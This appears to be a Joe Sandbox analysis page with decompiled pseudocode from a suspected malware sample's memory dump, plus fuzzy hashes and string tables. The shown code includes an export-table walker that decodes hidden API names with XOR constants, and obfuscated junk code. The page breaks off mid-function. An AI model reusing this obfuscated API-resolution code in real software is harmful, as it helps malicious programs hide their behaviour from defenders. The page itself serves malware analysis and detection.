Similarity

API ID: AddressProc
String ID: 'dvm$'dvm$+x|p$+{}m$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$1X>$9avq$:qbv$:qbv$:qrg$;qgL$o#w$o#w$o#w
API String ID: 190572456-3164401831
Opcode ID: ec7b8e999160a6bfd949a94bd04743df4bac9c4dc4695ec037a09b8557c79cf7
Instruction ID: 1126ec92dca91743ed467def7fa7689e74dba2c762bfffc07c6c09fd26224af6
Opcode Fuzzy Hash: ec7b8e999160a6bfd949a94bd04743df4bac9c4dc4695ec037a09b8557c79cf7
Instruction Fuzzy Hash: 16C2CE74D096A88BDB26CF289C816D9FBB1AF99304F1492D9D98CA7311EB305BC5CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0099F790 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 404
COMMONCrypto

Download Yara Rule

C-Code - Quality: 77%

			E0099F790(void* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				signed int _v16;
				char _v276;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				signed int _v336;
				CHAR* _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				signed int _v360;
				char* _v364;
				CHAR* _v368;
				intOrPtr* _v372;
				CHAR* _v376;
				signed short _v380;
				struct HINSTANCE__* _v384;
				signed int _v388;
				char _v392;
				char _v396;
				char _v400;
				char _v404;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char* _v424;
				CHAR* _v428;
				char* _v432;
				char _v436;
				char _v440;
				char _v444;
				char _v448;
				signed short* _v452;
				signed int _v456;
				signed int _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				signed int _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				CHAR* _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v504;
				char _v508;
				intOrPtr _v512;
				char _v516;
				intOrPtr _v520;
				char _v524;
				intOrPtr _v528;
				char _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				char _v548;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				char _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				char _v604;
				void* __ebx;
				signed int _t247;
				char _t257;
				signed int _t266;
				void* _t313;
				char _t331;
				char _t362;
				void* _t415;
				void* _t416;
				void* _t421;
				signed int _t424;

				_t416 = __esi;
				_t415 = __edi;
				_t313 = _t421;
				_t424 = (_t421 - 0x00000008 & 0xfffffff0) + 4;
				_v8 =  *((intOrPtr*)(_t313 + 4));
				_t419 = _t424;
				_t247 =  *0x9d2008; // 0x9fef24bf
				_v16 = _t247 ^ _t424;
				_v368 = 0;
				if( *((intOrPtr*)(_t313 + 8)) != 0) {
					_v452 =  *((intOrPtr*)(_t313 + 8));
					if(( *_v452 & 0x0000ffff) == 0x5a4d) {
						_v372 =  *((intOrPtr*)(_t313 + 8)) + _v452[0x1e];
						_t369 = _v372;
						if( *_v372 == 0x4550) {
							if(( *(_v372 + 0x18) & 0x0000ffff) != 0x20b) {
								_v340 =  *((intOrPtr*)(_v372 + 0x78)) +  *((intOrPtr*)(_t313 + 8));
								_v464 =  *((intOrPtr*)(_v372 + 0x7c));
							} else {
								_v340 =  *((intOrPtr*)(_v372 + 0x88)) +  *((intOrPtr*)(_t313 + 8));
								_v464 =  *((intOrPtr*)(_v372 + 0x8c));
							}
							_v472 =  *((intOrPtr*)(_t313 + 8)) +  *((intOrPtr*)(_v340 + 0x24));
							_v468 =  *((intOrPtr*)(_t313 + 8)) +  *((intOrPtr*)(_v340 + 0x20));
							_v480 =  *((intOrPtr*)(_t313 + 8)) +  *((intOrPtr*)(_v340 + 0x1c));
							_v360 = 0;
							while(1) {
								_t369 = _v360;
								if(_v360 >=  *((intOrPtr*)(_v340 + 0x14))) {
									break;
								}
								_v336 = 0xffff;
								_v456 = 0;
								if( *(_t313 + 0xc) > 0xffff) {
									if( *(_t313 + 0xc) <= 0xffff) {
										L17:
										_t257 = 0;
									} else {
										_t369 = _v340;
										if(_v360 >=  *((intOrPtr*)(_v340 + 0x18))) {
											goto L17;
										} else {
											_v456 =  *((intOrPtr*)(_t313 + 8)) +  *((intOrPtr*)(_v468 + _v360 * 4));
											_v336 =  *((intOrPtr*)(_v472 + _v360 * 2));
											goto L18;
										}
									}
								} else {
									_v336 = _v360;
									L18:
									if( *(_t313 + 0xc) > 0xffff || ( *(_t313 + 0xc) & 0x0000ffff) != (_v336 & 0x0000ffff) +  *((intOrPtr*)(_v340 + 0x10))) {
										if( *(_t313 + 0xc) <= 0xffff) {
											L38:
											_v360 = _v360 + 1;
											continue;
										} else {
											_v380 =  *(_t313 + 0xc);
											_v388 = _v456;
											while(1) {
												_t266 = _v388;
												_t331 =  *_t266;
												_v341 = _t331;
												if(_t331 !=  *_v380) {
													break;
												}
												if(_v341 == 0) {
													L26:
													_v460 = 0;
												} else {
													_t266 = _v388;
													_t362 =  *((intOrPtr*)(_t266 + 1));
													_v342 = _t362;
													if(_t362 !=  *((intOrPtr*)(_v380 + 1))) {
														break;
													} else {
														_v388 = _v388 + 2;
														_v380 = _v380 + 2;
														if(_v342 != 0) {
															continue;
														} else {
															goto L26;
														}
													}
												}
												L28:
												_v476 = _v460;
												if(_v476 != 0) {
													goto L38;
												} else {
													goto L29;
												}
												goto L40;
											}
											asm("sbb eax, eax");
											_v460 = _t266 | 0x00000001;
											goto L28;
										}
									} else {
										L29:
										_v368 =  *((intOrPtr*)(_t313 + 8)) +  *((intOrPtr*)(_v480 + (_v336 & 0x0000ffff) * 4));
										_t369 = _v368;
										if(_v368 < _v340 || _v368 > _v340 + _v464) {
											L37:
											break;
										} else {
											_v376 = 0;
											_v364 = 0;
											E009ADBB0(_t415,  &_v276, 0, 0x100);
											_v384 = 0;
											_v376 = E009B53F7(_t313, _t415, _v368);
											_v343 = 0;
											_v344 = 0;
											_v345 = 0;
											_v436 = _v343;
											_v440 = _v344;
											_v444 = _v345;
											_v508 = 0x49f5ad09;
											_v504 = 0xb9b7b816;
											_v572 = _v508;
											_v568 = _v504;
											_v516 = 0x52ee2b68;
											_v512 = 0x3e2c95b7;
											_t135 =  &_v516; // 0x52ee2b68
											_v564 =  *_t135;
											_v560 = _v512;
											_v424 =  &_v572;
											_v300 = 0x49f5ad27;
											_v296 = 0xb9b7b816;
											_v292 = 0x52ee2b68;
											_v288 = 0x3e2c95b7;
											_v346 = 0;
											_v448 = _v346;
											asm("movaps xmm0, [ebp-0x120]");
											asm("movaps [ebp-0x260], xmm0");
											asm("movups xmm0, [edx]");
											asm("movaps [ebp-0x2e0], xmm0");
											asm("movaps xmm0, [ebp-0x2e0]");
											asm("pxor xmm0, [ebp-0x260]");
											asm("movaps [ebp-0x270], xmm0");
											asm("movaps xmm0, [ebp-0x270]");
											asm("movups [eax], xmm0");
											_v484 = _v424;
											_v364 = E009AD5D0(_v376, _v484);
											 *_v364 = 0;
											_v364 = _v364 + 1;
											lstrcpyA( &_v276, _v376);
											_v347 = 0;
											_v348 = 0;
											_v349 = 0;
											_v392 = _v347;
											_v396 = _v348;
											_v400 = _v349;
											_v524 = 0x2599c909;
											_v520 = 0xb9b7b816;
											_v588 = _v524;
											_v584 = _v520;
											_v548 = 0x52ee2b68;
											_v544 = 0x3e2c95b7;
											_t177 =  &_v548; // 0x52ee2b68
											_v580 =  *_t177;
											_v576 = _v544;
											_v428 =  &_v588;
											_v316 = 0x49f5ad27;
											_v312 = 0xb9b7b816;
											_v308 = 0x52ee2b68;
											_v304 = 0x3e2c95b7;
											_v350 = 0;
											_v404 = _v350;
											asm("movaps xmm0, [ebp-0x130]");
											asm("movaps [ebp-0x290], xmm0");
											asm("movups xmm0, [ecx]");
											asm("movaps [ebp-0x280], xmm0");
											asm("movaps xmm0, [ebp-0x280]");
											asm("pxor xmm0, [ebp-0x290]");
											asm("movaps [ebp-0x2a0], xmm0");
											asm("movaps xmm0, [ebp-0x2a0]");
											asm("movups [edx], xmm0");
											_v488 = _v428;
											_t369 =  &_v276;
											lstrcatA( &_v276, _v488);
											_v384 = GetModuleHandleA( &_v276);
											if(_v384 != 0) {
												_v351 = 0;
												_v352 = 0;
												_v353 = 0;
												_v408 = _v351;
												_v412 = _v352;
												_v416 = _v353;
												_v532 = 0x49f5ad04;
												_v528 = 0xb9b7b816;
												_v604 = _v532;
												_v600 = _v528;
												_v540 = 0x52ee2b68;
												_v536 = 0x3e2c95b7;
												_v596 = _v540;
												_v592 = _v536;
												_v432 =  &_v604;
												_v332 = 0x49f5ad27;
												_v328 = 0xb9b7b816;
												_v324 = 0x52ee2b68;
												_v320 = 0x3e2c95b7;
												_v354 = 0;
												_v420 = _v354;
												asm("movaps xmm0, [ebp-0x140]");
												asm("movaps [ebp-0x2c0], xmm0");
												asm("movups xmm0, [ecx]");
												asm("movaps [ebp-0x2b0], xmm0");
												asm("movaps xmm0, [ebp-0x2b0]");
												asm("pxor xmm0, [ebp-0x2c0]");
												asm("movaps [ebp-0x2d0], xmm0");
												asm("movaps xmm0, [ebp-0x2d0]");
												asm("movups [edx], xmm0");
												_v492 = _v432;
												_t405 = _v364;
												if(E009AD5D0(_v364, _v492) != 0) {
													_v496 = E009B53B8(_v364 + 1, _t415, _v364 + 1);
													_push(_v496);
													_push(_v384);
													_v368 = E0099F790(_v364 + 1, _t415, _t416);
												} else {
													_push(_v364);
													_push(_v384);
													_v368 = E0099F790(_t405, _t415, _t416);
												}
												_t369 = _v376;
												E009B544B(_v376);
												goto L37;
											} else {
												E009B544B(_v376);
												_t257 = 0;
											}
										}
									}
								}
								goto L40;
							}
							_t257 = _v368;
						} else {
							_t257 = 0;
						}
					} else {
						_t257 = 0;
					}
				} else {
					_t257 = 0;
				}
				L40:
				return E009AC2E8(_t257, _t313, _v16 ^ _t419, _t369, _t415, _t416);
			}

0x0099f790
0x0099f790
0x0099f791
0x0099f799
0x0099f7a0
0x0099f7a4
0x0099f7ac
0x0099f7b3
0x0099f7b6
0x0099f7c4
0x0099f7d0
0x0099f7e5
0x0099f7fa
0x0099f800
0x0099f80c
0x0099f825
0x0099f877
0x0099f88f
0x0099f827
0x0099f83f
0x0099f85a
0x0099f85a
0x0099f8a1
0x0099f8b3
0x0099f8c5
0x0099f8cb
0x0099f8e6
0x0099f8ec
0x0099f8f5
0x00000000
0x00000000
0x0099f900
0x0099f907
0x0099f918
0x0099f931
0x0099f975
0x0099f975
0x0099f933
0x0099f933
0x0099f942
0x00000000
0x0099f944
0x0099f956
0x0099f96c
0x00000000
0x0099f96c
0x0099f942
0x0099f91a
0x0099f921
0x0099f97c
0x0099f983
0x0099f9a8
0x0099ff6c
0x0099f8e0
0x00000000
0x0099f9ae
0x0099f9b1
0x0099f9bd
0x0099f9c3
0x0099f9c3
0x0099f9c9
0x0099f9cb
0x0099f9d9
0x00000000
0x00000000
0x0099f9e2
0x0099fa15
0x0099fa15
0x0099f9e4
0x0099f9e4
0x0099f9ea
0x0099f9ed
0x0099f9fc
0x00000000
0x0099f9fe
0x0099f9fe
0x0099fa05
0x0099fa13
0x00000000
0x00000000
0x00000000
0x00000000
0x0099fa13
0x0099f9fc
0x0099fa2c
0x0099fa32
0x0099fa3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0099fa3f
0x0099fa21
0x0099fa26
0x00000000
0x0099fa26
0x0099fa45
0x0099fa45
0x0099fa58
0x0099fa5e
0x0099fa6a
0x0099ff6a
0x00000000
0x0099fa88
0x0099fa88
0x0099fa92
0x0099faaa
0x0099fab2
0x0099facb
0x0099fad3
0x0099fadb
0x0099fae3
0x0099faef
0x0099fafb
0x0099fb07
0x0099fb12
0x0099fb1c
0x0099fb2e
0x0099fb34
0x0099fb3f
0x0099fb49
0x0099fb4f
0x0099fb5b
0x0099fb61
0x0099fb6d
0x0099fb78
0x0099fb82
0x0099fb8d
0x0099fb97
0x0099fb9f
0x0099fbab
0x0099fbb1
0x0099fbb8
0x0099fbc5
0x0099fbc8
0x0099fbcf
0x0099fbd6
0x0099fbde
0x0099fbe5
0x0099fbf2
0x0099fbfb
0x0099fc17
0x0099fc23
0x0099fc2f
0x0099fc43
0x0099fc4b
0x0099fc53
0x0099fc5b
0x0099fc67
0x0099fc73
0x0099fc7f
0x0099fc8a
0x0099fc94
0x0099fca6
0x0099fcac
0x0099fcb7
0x0099fcc1
0x0099fcc7
0x0099fcd3
0x0099fcd9
0x0099fce5
0x0099fcf0
0x0099fcfa
0x0099fd05
0x0099fd0f
0x0099fd17
0x0099fd23
0x0099fd29
0x0099fd30
0x0099fd3d
0x0099fd40
0x0099fd47
0x0099fd4e
0x0099fd56
0x0099fd5d
0x0099fd6a
0x0099fd73
0x0099fd80
0x0099fd87
0x0099fd9a
0x0099fda7
0x0099fdc1
0x0099fdc9
0x0099fdd1
0x0099fddd
0x0099fde9
0x0099fdf5
0x0099fe00
0x0099fe0a
0x0099fe1c
0x0099fe22
0x0099fe2d
0x0099fe37
0x0099fe49
0x0099fe4f
0x0099fe5b
0x0099fe66
0x0099fe70
0x0099fe7b
0x0099fe85
0x0099fe8d
0x0099fe99
0x0099fe9f
0x0099fea6
0x0099feb3
0x0099feb6
0x0099febd
0x0099fec4
0x0099fecc
0x0099fed3
0x0099fee0
0x0099fee9
0x0099fef6
0x0099ff07
0x0099ff39
0x0099ff45
0x0099ff4c
0x0099ff55
0x0099ff09
0x0099ff0f
0x0099ff16
0x0099ff1f
0x0099ff1f
0x0099ff5b
0x0099ff62
0x00000000
0x0099fda9
0x0099fdb0
0x0099fdb8
0x0099fdb8
0x0099fda7
0x0099fa6a
0x0099f983
0x00000000
0x0099f918
0x0099ff71
0x0099f80e
0x0099f80e
0x0099f80e
0x0099f7e7
0x0099f7e7
0x0099f7e7
0x0099f7c6
0x0099f7c6
0x0099f7c6
0x0099ff77
0x0099ff87

Strings

h+R, xrefs: 0099FB8D
h+R, xrefs: 0099FCC7
h+R, xrefs: 0099FB4F
h+R, xrefs: 0099FE2D
h+R, xrefs: 0099FCB7
h+R, xrefs: 0099FD05
h+R, xrefs: 0099FB3F
h+R, xrefs: 0099FE7B

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID:
String ID: h+R$h+R$h+R$h+R$h+R$h+R$h+R$h+R
API String ID: 0-278150162
Opcode ID: ff6d3dcf5529abfbe49d88d3f76089928b43972ab1d7e5f79f85ccbea44382ae
Instruction ID: 0757f9567a410dd8424d51830ce2ecd29c8e233388dfe967ceee13297f252f14
Opcode Fuzzy Hash: ff6d3dcf5529abfbe49d88d3f76089928b43972ab1d7e5f79f85ccbea44382ae
Instruction Fuzzy Hash: 0822BE749052A88BDB65CF28CC94BE9FBB1AF59304F1481E9D84DAB351EB309AC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 009756B0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 375
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E009756B0(intOrPtr __ecx, char _a4, char _a28, intOrPtr _a44) {
				signed int _v8;
				char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v45;
				intOrPtr* _v52;
				intOrPtr _v56;
				char* _v60;
				signed int _v64;
				char* _v68;
				char* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _v84;
				signed int _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				signed int _v120;
				signed int _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				signed int _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				signed int _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				signed int _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				char* _v200;
				char* _v204;
				char _v228;
				char _v252;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t164;
				signed int _t165;
				signed int _t170;
				signed int _t177;
				signed int _t183;
				void* _t186;
				void* _t189;
				intOrPtr _t192;
				signed int _t211;
				signed int _t224;
				void* _t259;
				signed int _t271;
				intOrPtr _t273;
				signed int _t290;
				char* _t321;
				intOrPtr _t322;
				signed int _t331;
				intOrPtr _t339;
				void* _t349;
				void* _t351;
				void* _t356;
				signed int _t357;
				void* _t358;
				void* _t359;

				_push(0xffffffff);
				_push(0x9c4bf3);
				_push( *[fs:0x0]);
				_t359 = _t358 - 0xec;
				_t164 =  *0x9d2008; // 0x9fef24bf
				_t165 = _t164 ^ _t357;
				_v20 = _t165;
				_push(_t349);
				_push(_t165);
				 *[fs:0x0] =  &_v16;
				_v56 = __ecx;
				_v44 = 0;
				_v8 = 1;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v60 =  &_v32;
				_t262 = _v60;
				E0098AAC0(_v60);
				_v204 =  &_v32;
				_v8 = 2;
				_t170 = E009AF98F(_v60) & 0x80000001;
				if(_t170 < 0) {
					_t170 = (_t170 - 0x00000001 | 0xfffffffe) + 1;
				}
				if(_t170 != 0) {
					 *0x009D37A0 = 0xda;
					 *0x009D37AD = 0xce;
					 *0x009D37AE = 0xc3;
					_t262 = 3;
					 *0x009D37A3 = 0xdb;
					 *0x0158134D = 0xa5;
					__eflags = 1;
					 *((char*)(0x158134d)) = 0xee;
				} else {
					E009ADBB0(_t349, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
					_t359 = _t359 + 0xc;
				}
				_v36 = 0;
				_t177 = E009AF98F(_t262) & 0x80000001;
				if(_t177 < 0) {
					_t177 = (_t177 - 0x00000001 | 0xfffffffe) + 1;
				}
				_t366 = _t177;
				if(_t177 != 0) {
					 *((char*)(0x9d37a0)) = 0xda;
					 *((char*)(0x9d37ad)) = 0xce;
					 *((char*)(0x9d37ae)) = 0xc3;
					 *((char*)(0x9d37a3)) = 0xdb;
					 *((char*)(0x158134d)) = 0xa5;
					__eflags = 1;
					 *((char*)(0x158134d)) = 0xee;
				} else {
					E009ADBB0(_t349, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
					_t359 = _t359 + 0xc;
				}
				_t321 =  &_a28;
				_v40 = E009868D0( &_a4, _t321, 0);
				while(1) {
					_t183 =  *0x9d28d8; // 0x15b5d
					_t271 =  *0x9d28dc; // 0x0
					_t186 = E009C3280(E009C3280(_t183 ^ 0x00004579, _t271 ^ 0x00000000, 0xffffffff, 0), _t321, 4, 0);
					asm("adc eax, 0x18");
					_t322 =  *0x9d28cc; // 0x0
					_t273 =  *0x9d28c8; // 0x4c
					_v64 = _t321;
					_t189 = E009C3300(E009C3280(_t273, _t322, 0x4579, 0), _t322, 0x19, 0);
					asm("adc eax, edx");
					asm("adc eax, 0x0");
					_t192 = E00972800(_t366, _t186 + 0xffffffe7 + _t189 + 0xffffffff ^ 0x00000019, _v64 ^ 0x00000000);
					_t359 = _t359 + 8;
					_v108 = _v40;
					_v104 = 0;
					_v116 = _t192;
					_v112 = _t322;
					if(_v108 != _v116) {
						goto L13;
					}
					_t366 = _v104 - _v112;
					if(_v104 != _v112) {
						goto L13;
					}
					_v84 = E009AF98F(_t273) % 0x180;
					_t331 = _v84 & 0x80000001;
					__eflags = _t331;
					if(_t331 < 0) {
						_t331 = (_t331 - 0x00000001 | 0xfffffffe) + 1;
						__eflags = _t331;
					}
					__eflags = _t331;
					if(_t331 == 0) {
						__eflags = 0;
						 *0x009D3628 = 0x22;
						 *0x015811D1 = 0;
					}
					_v52 =  &_v32;
					asm("cdq");
					_v88 = ( *((intOrPtr*)(_v52 + 4)) -  *_v52) / 0x18;
					_v124 = 0x4560;
					_v120 = 0;
					_v148 = _v124 ^ 0x00000019;
					_v144 = _v120 ^ 0x00000000;
					_v132 = 0x19;
					_v128 = 0;
					_t211 =  *0x9d28c0; // 0x51
					_t290 =  *0x9d28c4; // 0x0
					_v140 = E009C3280(_t211 ^ 0x00004579, _t290 ^ 0x00000000, 6, 0);
					_v136 = 0;
					_v156 = 0x4579;
					_v152 = 0;
					asm("adc ecx, edx");
					asm("adc ecx, 0x0");
					_v172 = _v132 + _v140 + 1;
					_v168 = _v128;
					asm("sbb ecx, edx");
					_v164 = _v148 - _v156;
					_v160 = _v144;
					_t339 = _v172;
					_v180 = E009C3300(_v164, _v160, _t339, _v168);
					_v176 = _t339;
					_t295 = 0;
					_v188 = _v88;
					_v184 = 0;
					_v196 = _v180;
					_v192 = _v176;
					__eflags = _v184 - _v192;
					if(__eflags >= 0) {
						if(__eflags > 0) {
							L21:
							_v92 = E009867C0( &_a4, __eflags,  &_v252, _v36, 0xffffffff);
							_v96 = _v92;
							_v8 = 4;
							_v100 = _v96;
							E00986320( &_v32, _v100);
							_v8 = 2;
							_t295 =  &_v252;
							E00971AB0( &_v252);
						} else {
							_t295 = _v188;
							__eflags = _v188 - _v196;
							if(__eflags > 0) {
								goto L21;
							}
						}
					}
					_t224 = E009AF98F(_t295) & 0x80000001;
					__eflags = _t224;
					if(_t224 < 0) {
						_t224 = (_t224 - 0x00000001 | 0xfffffffe) + 1;
						__eflags = _t224;
					}
					__eflags = _t224;
					if(_t224 != 0) {
						 *((char*)(0x9d37a0)) = 0xda;
						 *((char*)(0x9d37ad)) = 0xce;
						 *((char*)(0x9d37ae)) = 0xc3;
						 *((char*)(0x9d37a3)) = 0xdb;
						 *((char*)(0x158134d)) = 0xa5;
						__eflags = 1;
						 *((char*)(0x158134d)) = 0xee;
					} else {
						E009ADBB0(0, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
					}
					E00986440(_v56,  &_v32);
					_v44 = _v44 | 0x00000001;
					_v8 = 1;
					E009876C0( &_v32);
					_v8 = 0;
					E00971AB0( &_a4);
					_v8 = 0xffffffff;
					E00971AB0( &_a28);
					 *[fs:0x0] = _v16;
					_pop(_t351);
					_pop(_t356);
					_pop(_t259);
					__eflags = _v20 ^ _t357;
					return E009AC2E8(_v56, _t259, _v20 ^ _t357,  &_v32, _t351, _t356);
					L13:
					_v200 =  &_a4;
					_v68 =  &_v45;
					_push(_v68);
					E00987DA0( &_v228,  &_a4, _v36, _v40 - _v36);
					_v44 = _v44 | 0x00000002;
					_v72 =  &_v228;
					_v8 = 3;
					_v76 = _v72;
					E00986320( &_v32, _v76);
					_v8 = 2;
					E00971AB0( &_v228);
					_v80 = _a44;
					_v36 = _v40 + _v80;
					_t321 =  &_a28;
					_v40 = E009868D0( &_a4, _t321, _v36);
				}
			}

0x009756b3
0x009756b5
0x009756c0
0x009756c1
0x009756c7
0x009756cc
0x009756ce
0x009756d3
0x009756d4
0x009756d8
0x009756de
0x009756e1
0x009756e8
0x009756f1
0x009756f4
0x009756f7
0x009756fd
0x00975700
0x00975703
0x0097570b
0x00975711
0x0097571a
0x0097571f
0x00975725
0x00975725
0x00975728
0x00975745
0x00975754
0x00975763
0x0097576f
0x00975772
0x00975781
0x0097578d
0x0097578f
0x0097572a
0x00975733
0x00975738
0x00975738
0x00975796
0x009757a2
0x009757a7
0x009757ad
0x009757ad
0x009757ae
0x009757b0
0x009757cd
0x009757dc
0x009757eb
0x009757fa
0x00975809
0x00975815
0x00975817
0x009757b2
0x009757bb
0x009757c0
0x009757c0
0x00975820
0x0097582c
0x0097582f
0x00975834
0x0097583e
0x00975858
0x00975864
0x0097586e
0x00975875
0x0097587c
0x0097588a
0x00975894
0x00975899
0x009758a4
0x009758a9
0x009758ac
0x009758af
0x009758b2
0x009758b5
0x009758be
0x00000000
0x00000000
0x009758c3
0x009758c6
0x00000000
0x00000000
0x00975965
0x0097596b
0x0097596b
0x00975971
0x00975977
0x00975977
0x00975977
0x00975978
0x0097597a
0x00975984
0x00975986
0x00975990
0x00975990
0x00975999
0x009759a7
0x009759af
0x009759b4
0x009759bb
0x009759ca
0x009759d0
0x009759d8
0x009759df
0x009759e2
0x009759ec
0x00975a00
0x00975a06
0x00975a0e
0x00975a18
0x00975a30
0x00975a35
0x00975a38
0x00975a3e
0x00975a5c
0x00975a5e
0x00975a64
0x00975a76
0x00975a8b
0x00975a91
0x00975a9a
0x00975aa8
0x00975aae
0x00975ab4
0x00975aba
0x00975ac6
0x00975acc
0x00975ace
0x00975ade
0x00975af3
0x00975af9
0x00975afc
0x00975b03
0x00975b0d
0x00975b12
0x00975b16
0x00975b1c
0x00975ad0
0x00975ad0
0x00975ad6
0x00975adc
0x00000000
0x00000000
0x00975adc
0x00975ace
0x00975b26
0x00975b26
0x00975b2b
0x00975b31
0x00975b31
0x00975b31
0x00975b32
0x00975b34
0x00975b51
0x00975b60
0x00975b6f
0x00975b7e
0x00975b8d
0x00975b99
0x00975b9b
0x00975b36
0x00975b3f
0x00975b44
0x00975ba9
0x00975bb4
0x00975bb7
0x00975bbe
0x00975bc3
0x00975bca
0x00975bcf
0x00975bd9
0x00975be4
0x00975bec
0x00975bed
0x00975bee
0x00975bf2
0x00975bfc
0x009758cc
0x009758cf
0x009758d8
0x009758de
0x009758f4
0x009758ff
0x00975908
0x0097590b
0x00975912
0x0097591c
0x00975921
0x0097592b
0x00975933
0x0097593c
0x00975943
0x0097594f
0x0097594f

APIs

std::exception::exception.LIBCMTD ref: 00975703
__aulldiv.LIBCMT ref: 0097588A
__aulldiv.LIBCMT ref: 00975A86

Strings

yE, xrefs: 00975A0E
+++++++++++++++++++++++++++++++++++++++++++++++++++++++, xrefs: 0097572E, 009757B6, 00975B3A
`E, xrefs: 009759B4

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: __aulldiv$std::exception::exception
String ID: +++++++++++++++++++++++++++++++++++++++++++++++++++++++$`E$yE
API String ID: 1184379571-3760669212
Opcode ID: 7c47b22bc7f84342d6b21a1ba320fdc5bd2309232729ee87c8dc97ff56e06a8d
Instruction ID: 5fbb430efab371b25082dcb6ca858748c387a01db857e2b3fb79d19704a77a72
Opcode Fuzzy Hash: 7c47b22bc7f84342d6b21a1ba320fdc5bd2309232729ee87c8dc97ff56e06a8d
Instruction Fuzzy Hash: 2AF16DB1D006589FDB18CFA8C851BDEBBB5FF88310F1482AAE119AB3D1DB745A41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 009ACC19 Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E009ACC19(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E009ACE12(_t34);
				 *_t60 = 0x2cc;
				_v632 = E009ADBB0(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
